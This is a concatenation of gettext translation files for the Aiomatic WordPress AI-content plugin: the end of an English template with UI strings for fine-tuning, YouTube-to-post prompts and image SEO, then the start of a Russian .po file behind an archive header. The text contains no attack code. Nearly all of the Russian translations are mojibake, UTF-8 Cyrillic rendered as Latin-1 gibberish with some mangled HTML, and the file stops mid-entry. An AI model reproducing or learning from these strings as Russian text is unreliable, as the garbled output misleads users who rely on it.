"" #: res/aiomatic-training.php:73 msgid "Step 3: Check progress of the fine tune" msgstr "" #: res/aiomatic-training.php:73 msgid "" "after finetune creation is complete, go to the 'Model Finetunes' tab and " "check the finetune you created. Be sure to sync finetunes. Wait until the " "finetune is listed with status 'succeeded', after which, it will appear also " "in the plugin and can be directly selected, when selecting the models which " "you want to use for data creation in the plugin! If you don't see your fine-" "tuned model in the dropdown list, please make sure that the fine-tune " "request is complete. You can also click on \"Sync Models\" link to get " "latest models." msgstr "" #: res/aiomatic-training.php:75 msgid "" "Please note, I can not guarantee that the fine-tuned model will work well " "for your use case. As I mentioned before, dataset quality is very important. " "If you have a small dataset, you might not get good results. If you have a " "very large dataset with really well-defined prompt and completion pairs, you " "should get good results." msgstr "" #: res/aiomatic-training.php:90 msgid "Upload A New File" msgstr "" #: res/aiomatic-training.php:95 msgid "Dataset (*.jsonl)" msgstr "" #: res/aiomatic-training.php:131 msgid "Custom Model Name" msgstr "" #: res/aiomatic-training.php:133 msgid "Your model name" msgstr "" #: res/aiomatic-training.php:138 msgid "File uploaded successfully you can view it in Datasets tab." msgstr "" #: res/aiomatic-training.php:154 msgid "TIP: Check more details on training prompt design recommendations," msgstr "" #: res/aiomatic-training.php:169 msgid "Completion" msgstr "" #: res/aiomatic-training.php:219 msgid "Fine-Tune" msgstr "" #: res/aiomatic-training.php:280 msgid "Data Converter" msgstr "" #: res/aiomatic-training.php:287 msgid "Select Data" msgstr "" #: res/aiomatic-training.php:289 msgid "Posts" msgstr "" #: res/aiomatic-training.php:290 msgid "Pages" msgstr "" #: res/aiomatic-training.php:294 msgid "Products" msgstr "" #: res/aiomatic-training.php:301 msgid "Post Category to Process" msgstr "" #: res/aiomatic-training.php:304 msgid "Select a Category (Optional)" msgstr "" #: res/aiomatic-training.php:326 msgid "Import Content or Excerpt" msgstr "" #: res/aiomatic-training.php:341 msgid "Convert" msgstr "" #: res/aiomatic-training.php:347 msgid "Completed Conversions" msgstr "" #: res/aiomatic-training.php:352 msgid "Started" msgstr "" #: res/aiomatic-training.php:353 msgid "Completed" msgstr "" #: res/aiomatic-training.php:429 msgid "All files" msgstr "" #: res/aiomatic-training.php:468 msgid "Create Fine-Tune" msgstr "" #: res/aiomatic-training.php:472 msgid "Retrieve Content" msgstr "" #: res/aiomatic-training.php:515 msgid "Fine-tunes" msgstr "" #: res/aiomatic-training.php:516 msgid "Sync Fine-tunes" msgstr "" #: res/aiomatic-training.php:517 msgid "View Fine-tunes On OpenAI" msgstr "" #: res/aiomatic-training.php:520 msgid "All fine-tunes" msgstr "" #: res/aiomatic-training.php:527 msgid "Object" msgstr "" #: res/aiomatic-training.php:530 msgid "Fine-tune Model" msgstr "" #: res/aiomatic-training.php:531 msgid "Organization ID" msgstr "" #: res/aiomatic-training.php:533 msgid "Updated" msgstr "" #: res/aiomatic-training.php:534 msgid "Training" msgstr "" #: res/aiomatic-training.php:553 msgid "Events" msgstr "" #: res/aiomatic-training.php:554 msgid "Hyper-params" msgstr "" #: res/aiomatic-training.php:555 msgid "Result files" msgstr "" #: res/aiomatic-training.php:556 msgid "Training-files" msgstr "" #: res/aiomatic-youtube-list.php:165 msgid "YouTube Videos To Posts" msgstr "" #: res/aiomatic-youtube-list.php:212 msgid "YouTube Video URLs / Channel Handle URLs" msgstr "" #: res/aiomatic-youtube-list.php:216 msgid "" "Please provide the URLs to the YouTube videos (one per line). You can also " "enter a YouTube handle URL (channel or user), example: https://www.youtube." "com/@CodeRevolutionTV/videos - if you have added a YouTube API key in the " "plugin's 'Settings' menu, this will list all recent videos from this " "specific YouTube channel. Otherwise, it will list videos which appear also " "on the featured page of the channel. Videos added here must be public and " "have captions available (uploaded or auto generated). In case auto generated " "captions are used, the quality of the created article might be lower. Nested " "Shortcodes also supported! Note: if you add a YouTube API key in the " "plugin's Settings -> 'API Keys' tab, you can also search for videos using " "keywords (not just video URLs)." msgstr "" #: res/aiomatic-youtube-list.php:908 res/aiomatic-youtube-list.php:3408 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%video_title%%, %%article_so_far%%, %%last_section_content%%, " "%%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " "%%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% " "is also supported, to get a list of PAA questions for the KEYWORD you want " "to use. Update: nested shortcodes also supported (shortcodes generated by " "rules from other plugins). You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators." msgstr "" #: res/aiomatic-youtube-list.php:1572 res/aiomatic-youtube-list.php:4101 msgid "YouTube Video Thumbnail" msgstr "" #: res/aiomatic-youtube-list.php:1795 msgid "Process Each Title/Video Only Once:" msgstr "" #: res/aiomatic-youtube-list.php:2398 msgid "YouTube Videos To Posts Tutorial Video" msgstr "" #: res/aiomatic-youtube-list.php:2966 msgid "Video Caption Preferred Languages" msgstr "" #: res/aiomatic-youtube-list.php:2977 msgid "Video Caption Maximum Character Length In Prompts" msgstr "" #: res/aiomatic-youtube-list.php:2990 msgid "Use AI Generated Post Titles" msgstr "" #: res/aiomatic-youtube-list.php:3127 msgid "Heading Image Location" msgstr "" #: res/aiomatic-youtube-list.php:3159 msgid "Add The YouTube Video To The Article" msgstr "" #: res/aiomatic-youtube-list.php:3282 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-youtube-list.php:3324 #, php-format msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - to disable article intro, leave this prompt blank - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-youtube-list.php:3366 #, php-format msgid "" "Prompt to be used for the Post Sections. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% " "is also supported, to get a list of PAA questions for the KEYWORD you want " "to use. Update: nested shortcodes also supported (shortcodes generated by " "rules from other plugins). You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators." msgstr "" #: res/aiomatic-youtube-list.php:3468 #, php-format msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - to disable article outro, leave this prompt blank - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-youtube-list.php:3510 #, php-format msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - to disable article outro, leave this prompt blank - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-youtube-list.php:3552 #, php-format msgid "" "Prompt to be used for the Post Excerpt. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-youtube-list.php:4265 msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %" "%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %" "%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%" "%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: %" "%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-youtube-list.php:4337 msgid "Process Each Title/Video Only Once" msgstr "" #: res/aiomatic-youtube-list.php:4371 msgid "Process Videos In Order Of Entry" msgstr "" #: res/image-seo/aiomatic-image-seo.php:12 msgid "AI Generated SEO Fields" msgstr "" #: res/image-seo/seo-panel.php:10 msgid "Close panel" msgstr "" #: res/image-seo/seo-panel.php:15 msgid "Aiomatic - AI Generated SEO Fields" msgstr "" #: res/image-seo/seo-panel.php:28 msgid "AI Content Creator Settings:" msgstr "" #: res/image-seo/seo-panel.php:30 msgid "AI Writer Target" msgstr "" #: res/image-seo/seo-panel.php:32 msgid "Caption Text" msgstr "" #: res/image-seo/seo-panel.php:33 msgid "Alt Text" msgstr "" #: res/image-seo/seo-panel.php:34 msgid "Description Text" msgstr "" #: res/image-seo/seo-panel.php:35 msgid "Title Text" msgstr "" #: res/image-seo/seo-panel.php:40 #, php-format msgid "" "Hint: you can use the following shortcodes in this settings field: " "%%image_title%%, %%image_caption%%, %%image_alt%%, %%image_description%%, " "%%parent_title%%, %%parent_excerpt%%, %%parent_content%%, %%blog_title%%, " "%%random_sentence%%, %%random_sentence2%% + nested shortcodes also supported." msgstr "" #: res/image-seo/seo-panel.php:47 msgid "Load Templates List" msgstr "" #: res/image-seo/seo-panel.php:49 msgid "Load Selected Template" msgstr "" #: res/image-seo/seo-panel.php:50 msgid "Delete Selected Template" msgstr "" #: res/image-seo/seo-panel.php:53 msgid "Select Template" msgstr "" #: res/image-seo/seo-panel.php:55 msgid "Choose a template" msgstr "" #: res/image-seo/seo-panel.php:101 msgid "Generate Text" msgstr "" #: res/image-seo/seo-panel.php:105 msgid "The media attachment ID was not passed correctly, please try again." msgstr "" #: res/image-seo/seo-panel.php:111 msgid "The media attachment ID was not parsed correctly, please try again." msgstr "" #: res/image-seo/seo-panel.php:122 msgid "Attachment SEO Attributes:" msgstr "" #: res/image-seo/seo-panel.php:128 msgid "Alternative Text" msgstr "" #: res/image-seo/seo-panel.php:136 msgid "Learn how to describe the purpose of the image" msgstr "" #: res/image-seo/seo-panel.php:136 msgid "Leave empty if the image is purely decorative." msgstr "" #: res/image-seo/seo-panel.php:141 msgid "(opens in a new tab)" msgstr "" #: res/image-seo/seo-panel.php:148 msgid "Caption" msgstr "" #: res/image-seo/seo-panel.php:154 msgid "Displayed on attachment pages." msgstr "" #: res/image-seo/seo-panel.php:165 msgid "The media attachment ID was not found in the database: " msgstr "" #: res/image-seo/seo-panel.php:177 msgid "" "Here you will be able to automatically generate, using AI, the SEO meta " "fields for this image." msgstr "" #: res/image-seo/seo-panel.php:187 msgid "Preview image:" msgstr "" #: res/image-seo/seo-panel.php:193 msgid "Current thumbnail" msgstr "" #: res/other/plugin-dash.php:15 msgid "Recommended Plugins For You" msgstr "" #: res/other/plugin-dash.php:44 res/other/plugin-dash.php:149 msgid "Error getting content: " msgstr "" #: res/other/plugin-dash.php:51 res/other/plugin-dash.php:156 msgid "Apparently, there are no updates to show!" msgstr "" #: res/other/plugin-dash.php:74 res/other/plugin-dash.php:180 msgid "Learn more" msgstr "" #: res/other/plugin-dash.php:91 msgid "FAQ" msgstr "" #: res/other/plugin-dash.php:91 msgid "View More" msgstr "" #: res/other/plugin-dash.php:91 res/other/plugin-dash.php:197 msgid "Don't show this widget" msgstr "" #: res/other/plugin-dash.php:119 msgid "Latest News" msgstr "" #: res/other/plugin-dash.php:197 msgid "+ More" msgstr "" #: res/other/plugin-dash.php:236 msgid "Highlighted" msgstr "" #: res/other/plugin-dash.php:242 msgid "A selection of plugins, highlighted for you." msgstr "" #: res/other/plugin-dash.php:437 msgid "Download Now" msgstr "" #: res/other/plugin-dash.php:438 msgid "More information about" msgstr "" #: res/other/plugin-dash.php:438 msgid "More Details" msgstr "" #: res/other/plugin-dash.php:471 res/other/plugin-dash.php:492 msgid "Click here to get the plugin" msgstr "" #: res/other/plugin-dash.php:472 msgid "Download the plugin here" msgstr "" #: res/other/plugin-dash.php:491 msgid "" "Just download the plugin from CodeCanyon and install it to your site in a " "few seconds." msgstr "" #: update-checker/Puc/v5p2/Plugin/Ui.php:56 msgid "View details" msgstr "" #: update-checker/Puc/v5p2/Plugin/Ui.php:79 #, php-format msgid "More information about %s" msgstr "" #: update-checker/Puc/v5p2/Plugin/Ui.php:130 msgid "Check for updates" msgstr "" #: update-checker/Puc/v5p2/Plugin/Ui.php:217 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "" #: update-checker/Puc/v5p2/Plugin/Ui.php:219 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "" #: update-checker/Puc/v5p2/Plugin/Ui.php:221 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "" #: update-checker/Puc/v5p2/Plugin/Ui.php:227 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "" #: update-checker/Puc/v5p2/Vcs/PluginUpdateChecker.php:113 msgid "There is no changelog available." msgstr "" #. Plugin Name of the plugin/theme msgid "Aiomatic - Automatic AI Content Writer, Editor, Chatbot & AI Toolkit" msgstr "" #. Plugin URI of the plugin/theme msgid "//1.envato.market/aiomatic" msgstr "" #. Description of the plugin/theme msgid "" "All in one AI plugin for content creation, content editing, chatbots and " "many more extra features" msgstr "" #. Author of the plugin/theme msgid "CodeRevolution" msgstr "" #. Author URI of the plugin/theme msgid "//coderevolution.ro" msgstr "" languages/aiomatic-automatic-ai-content-writer-ru_RU.po000064400005614073147577714370017275 0ustar00msgid "" msgstr "" "Project-Id-Version: Aiomatic - Automatic AI Content Writer\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-04-03 17:22+0300\n" "PO-Revision-Date: 2024-03-31 06:39+0000\n" "Last-Translator: \n" "Language-Team: РуÑÑкий\n" "Language: ru_RU\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " "n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" "X-Generator: Loco https://localise.biz/\n" "X-Poedit-Basepath: ..\n" "X-Poedit-Flags-xgettext: --add-comments=translators:\n" "X-Poedit-WPHeader: aiomatic-automatic-ai-content-writer.php\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;" "esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;" "_nx_noop:3c,1,2;__ngettext_noop:1,2\n" "X-Loco-Version: 2.6.7; wp-6.4.3\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-SearchPathExcluded-0: *.min.js\n" #: res/aiomatic-chatbot.php:956 res/aiomatic-chatbot.php:4406 msgid " (Vision)" msgstr "(Зрение)" #: res/aiomatic-single-list.php:934 msgid " - Advanced Mode" msgstr "- РаÑширенный режим" #: aiomatic-automation.php:10 aiomatic-automation.php:40 #: aiomatic-automation.php:98 aiomatic-automation.php:128 #: aiomatic-automation.php:158 msgid " - AI Content Blocks" msgstr "- Блоки контента AI" #: aiomatic-automation.php:397 aiomatic-automation.php:428 msgid " - Amazon Blocks" msgstr "- Блоки Amazon" #: aiomatic-automation.php:182 aiomatic-automation.php:232 #: aiomatic-automation.php:302 aiomatic-automation.php:372 #: aiomatic-automation.php:569 aiomatic-automation.php:587 #: aiomatic-automation.php:604 aiomatic-automation.php:622 #: aiomatic-automation.php:640 msgid " - Content Gathering Blocks" msgstr "- Блоки Ñбора контента" #: aiomatic-automation.php:533 aiomatic-automation.php:551 msgid " - Content Media Blocks" msgstr "- Медиа-блоки контента" #: aiomatic-automation.php:479 aiomatic-automation.php:515 msgid " - Content Processing Blocks" msgstr "- Блоки обработки контента" #: aiomatic-automation.php:670 aiomatic-automation.php:702 #: aiomatic-automation.php:732 aiomatic-automation.php:763 #: aiomatic-automation.php:794 aiomatic-automation.php:819 #: aiomatic-automation.php:864 aiomatic-automation.php:889 #: aiomatic-automation.php:920 aiomatic-automation.php:951 #: aiomatic-automation.php:989 aiomatic-automation.php:1047 #: aiomatic-automation.php:1091 msgid " - Content Saving Blocks" msgstr "- Блоки ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°" #: res/aiomatic-single-list.php:293 msgid " - Express Mode" msgstr "- ЭкÑпреÑÑ-режим" #: aiomatic-automatic-ai-content-writer.php:13803 #: aiomatic-automatic-ai-content-writer.php:13818 #: aiomatic-automatic-ai-content-writer.php:13834 #: aiomatic-automatic-ai-content-writer.php:14589 #: aiomatic-automatic-ai-content-writer.php:14604 #: aiomatic-automatic-ai-content-writer.php:14620 #: res/aiomatic-automation-list.php:1165 res/aiomatic-automation-list.php:1180 #: res/aiomatic-automation-list.php:1196 res/aiomatic-automation-list.php:1953 #: res/aiomatic-automation-list.php:1968 res/aiomatic-automation-list.php:1984 #: res/aiomatic-automation-list.php:3632 res/aiomatic-automation-list.php:3647 #: res/aiomatic-automation-list.php:3663 res/aiomatic-automation-list.php:4420 #: res/aiomatic-automation-list.php:4435 res/aiomatic-automation-list.php:4451 #: res/aiomatic-automation-list.php:6385 res/aiomatic-automation-list.php:6400 #: res/aiomatic-automation-list.php:6416 res/aiomatic-automation-list.php:7181 #: res/aiomatic-automation-list.php:7196 res/aiomatic-automation-list.php:7212 msgid "" " - to enable, add a HeadlessBrowserAPI key in the plugin's 'Main Settings'" msgstr "" "- Ð´Ð»Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð±Ð°Ð²ÑŒÑ‚Ðµ ключ HeadlessBrowserAPI в «ОÑновные наÑтройки» " "плагина." #: res/aiomatic-extensions.php:7 msgid "" " plugin with extra features and functionality. Check additional available " msgstr "" "плагин Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ñ‹Ð¼Ð¸ возможноÑÑ‚Ñми и функционалом. Проверьте наличие " "дополнительных" #: res/StatisticsClass.php:602 res/StatisticsClass.php:620 #: res/StatisticsClass.php:638 res/StatisticsClass.php:715 #: res/StatisticsClass.php:728 res/StatisticsClass.php:741 msgid " used from a maximum of " msgstr "иÑпользуетÑÑ Ð¼Ð°ÐºÑимум из" #: res/aiomatic-spinner-list.php:891 msgid "\"Advanced AI API Settings\" Tab" msgstr "Вкладка «Дополнительные ÐаÑтройки AI API»" #: res/aiomatic-spinner-list.php:855 msgid "\"Automatic Content Editing Settings\" Tab" msgstr "Вкладка «ÐаÑтройки ÐвтоматичеÑкого Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°Â»" #: res/aiomatic-spinner-list.php:870 msgid "\"Editing Templates and Options\" Tab" msgstr "Вкладка «Редактирование Шаблонов и Параметров»" #: res/aiomatic-spinner-list.php:866 msgid "\"Manual Content Editing Settings\" Tab" msgstr "Вкладка «ÐаÑтройки Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¡Ð¾Ð´ÐµÑ€Ð¶Ð¸Ð¼Ð¾Ð³Ð¾ Вручную»" #: res/aiomatic-automation-list.php:2555 msgid "# Actions" msgstr "# ДейÑтвиÑ" #: res/aiomatic-amazon-list.php:244 res/aiomatic-csv-list.php:106 #: res/aiomatic-review-list.php:244 res/aiomatic-rules-list.php:254 #: res/aiomatic-youtube-list.php:244 msgid "# Of Posts" msgstr "# ПоÑтов" #: res/aiomatic-spinner-list.php:2596 #, php-format msgid "%%previous_comments%% Shortcode Comment Count:" msgstr "%%previous_comments%% Шорткод КоличеÑтва Комментариев :" #: res/aiomatic-logs.php:232 res/aiomatic-logs.php:267 #: res/aiomatic-logs.php:295 #, php-format msgid "" "%1$s - Recommended Value: %2$s.
                    Max input vars limitation will truncate " "POST data such as menus. See: Increasing max input vars limit." msgstr "" "%1$s — рекомендуемое значение: %2$s.
                    Ограничение макÑимального " "количеÑтва входных переменных приведет к уÑечению данных POST, таких как " "меню. См.: " "Увеличение макÑимального предела входных переменных." #: res/aiomatic-logs.php:309 #, php-format msgid "" "%1$s - Recommended Value: %2$s.
                    Post Max Value Length limitation may " "prohibit the Theme Options data from being saved to your database. See: Suhosin " "Configuration Info." msgstr "" "%1$s — рекомендуемое значение: %2$s.
                    Ограничение макÑимальной длины " "ПоÑÑ‚Ñ‹ может препÑÑ‚Ñтвовать Ñохранению данных параметров темы в вашей базе " "данных. См.: " "Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ конфигурацAI Suhosin." #: res/aiomatic-logs.php:200 res/aiomatic-logs.php:204 #, php-format msgid "" "%1$s - We recommend setting max execution time to at least 600.
                    To " "generate long articles, 1000 seconds of max execution time " "is recommended.
                    See: Increasing max execution to PHP" msgstr "" "%1$s — Мы рекомендуем уÑтановить макÑимальное Ð²Ñ€ÐµÐ¼Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð½Ðµ менее 600." "
                    Ð”Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð´Ð»Ð¸Ð½Ð½Ñ‹Ñ… Статей,1000Ñекунд рекомендуетÑÑ " "макÑимального времени Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ .
                    См.Увеличение макÑимального " "времени Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ PHP" #: res/aiomatic-logs.php:141 #, php-format msgid "" "%1$s - We recommend setting memory to at least 64MB. To " "learn how, see: Increasing memory allocated to PHP." msgstr "" "%1$s. Мы рекомендуем уÑтановить объем памÑти не менее 64MB. " " Чтобы узнать, как Ñто Ñделать, Ñм.:Увеличение памÑти, выделенной Ð´Ð»Ñ PHP." #: res/aiomatic-logs.php:399 #, php-format msgid "%s seconds" msgstr "%s Ñекунд" #: res/aiomatic-chatbot.php:2441 msgid "'Dall-E Image' Module:" msgstr "Модуль «Dall-E ИзображениÑ»:" #: res/aiomatic-chatbot.php:2389 msgid "'God Mode' Module (WordPress Function Calling) - BETA:" msgstr "Модуль «Режим Бога» (вызов функций WordPress) — БЕТÐ:" #: res/aiomatic-amazon-list.php:2388 res/aiomatic-automation-list.php:4950 #: res/aiomatic-csv-list.php:935 res/aiomatic-review-list.php:2457 #: res/aiomatic-rules-list.php:2585 res/aiomatic-spinner-list.php:4796 #: res/aiomatic-youtube-list.php:2359 msgid "'omatic plugins created by CodeRevolution" msgstr "'оматичеÑкие Плагины, Ñозданные CodeRevolution" #: res/aiomatic-more.php:16 msgid "'Ultimate Membership Pro' Integration" msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ultimate Membership Pro" #: res/aiomatic-more.php:81 msgid "'Ultimate Membership Pro' Integration Tutorial Video:" msgstr "Обучающее видео по интеграции Ultimate Membership Pro:" #: res/aiomatic-more.php:48 msgid "'Ultimate Membership Pro' Integration:" msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ultimate Membership Pro:" #: res/aiomatic-embeddings.php:551 res/aiomatic-spinner-list.php:4599 msgid "(int) - 4 digit year (e.g. 2011)." msgstr "(int) - год из 4 цифр (например, 2011)." #: res/aiomatic-embeddings.php:583 res/aiomatic-spinner-list.php:4631 msgid "(int) - Day of the month (from 1 to 31)." msgstr "(int) - День меÑÑца (от 1 до 31)." #: res/aiomatic-embeddings.php:567 res/aiomatic-spinner-list.php:4615 msgid "(int) - Month number (from 1 to 12)." msgstr "(int) - Ðомер меÑÑца (от 1 до 12)." #: res/aiomatic-embeddings.php:471 res/aiomatic-spinner-list.php:4519 msgid "" "(int) - number of post to alter. Use 'posts_per_page'=-1 to alter all posts." msgstr "" "(int) - номер ПоÑта, который нужно изменить. ИÑпользуйте 'posts_per_page'=-1," " чтобы изменить вÑе ПоÑÑ‚Ñ‹." #: res/aiomatic-embeddings.php:487 res/aiomatic-spinner-list.php:4535 msgid "(int) - number of post to displace or pass over." msgstr "(int) - номер ПоÑта, который нужно перемеÑтить или пропуÑтить." #: res/aiomatic-embeddings.php:391 res/aiomatic-spinner-list.php:4439 msgid "(int) - use page id." msgstr "(int) - иÑпользовать id Ñтраницы." #: res/aiomatic-embeddings.php:423 res/aiomatic-spinner-list.php:4471 msgid "(int) - use page id. Return just the child Pages." msgstr "(int) - иÑпользовать id Ñтраницы. Верните только дочерние Страницы." #: res/aiomatic-embeddings.php:295 res/aiomatic-spinner-list.php:4343 msgid "" "(int,int,int) - use author id [use minus (-) to exclude authors by ID ex. -1," "-2,-3]" msgstr "" "(int,int,int) - иÑпользовать ID автора [иÑпользуйте Ð¼Ð¸Ð½ÑƒÑ (-), чтобы " "иÑключить авторов по ID ex. -1,-2,-3]" #: res/image-seo/seo-panel.php:99 msgid "(opens in a new tab)" msgstr "(откроетÑÑ Ð² новой вкладке)" #: res/aiomatic-embeddings.php:180 res/aiomatic-training.php:146 msgid "(Please increase this value if you want to upload larger datasets)" msgstr "" "(ПожалуйÑта, увеличьте Ñто значение, еÑли вы хотите загружать большие наборы " "данных)" #: res/aiomatic-assistants.php:99 msgid "(Please increase this value if you want to upload larger files)" msgstr "" "(ПожалуйÑта, увеличьте Ñто значение, еÑли вы хотите загружать файлы большего " "размера)" #: res/aiomatic-embeddings.php:503 res/aiomatic-spinner-list.php:4551 msgid "(string) - Custom field key." msgstr "(Ñтрока) - Ключ пользовательÑкого полÑ." #: res/aiomatic-embeddings.php:519 res/aiomatic-spinner-list.php:4567 msgid "(string) - Custom field value." msgstr "(Ñтрока) — значение произвольного полÑ." #: res/aiomatic-embeddings.php:619 res/aiomatic-spinner-list.php:4679 msgid "" "(string) - Designates the ascending or descending order of the 'orderby' " "parameter. Defaultto 'DESC'." msgstr "" "(Ñтрока) — определÑет порÑдок возраÑÑ‚Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ ÑƒÐ±Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð° «orderby». " "По умолчанию «DESC»." #: res/aiomatic-embeddings.php:535 res/aiomatic-spinner-list.php:4583 #, php-format msgid "" "(string) - Passes along the query string variable from a search. For example " "usage see: this link." msgstr "" "(Ñтрока) — передает переменную Ñтроки запроÑа из поиÑка. Пример " 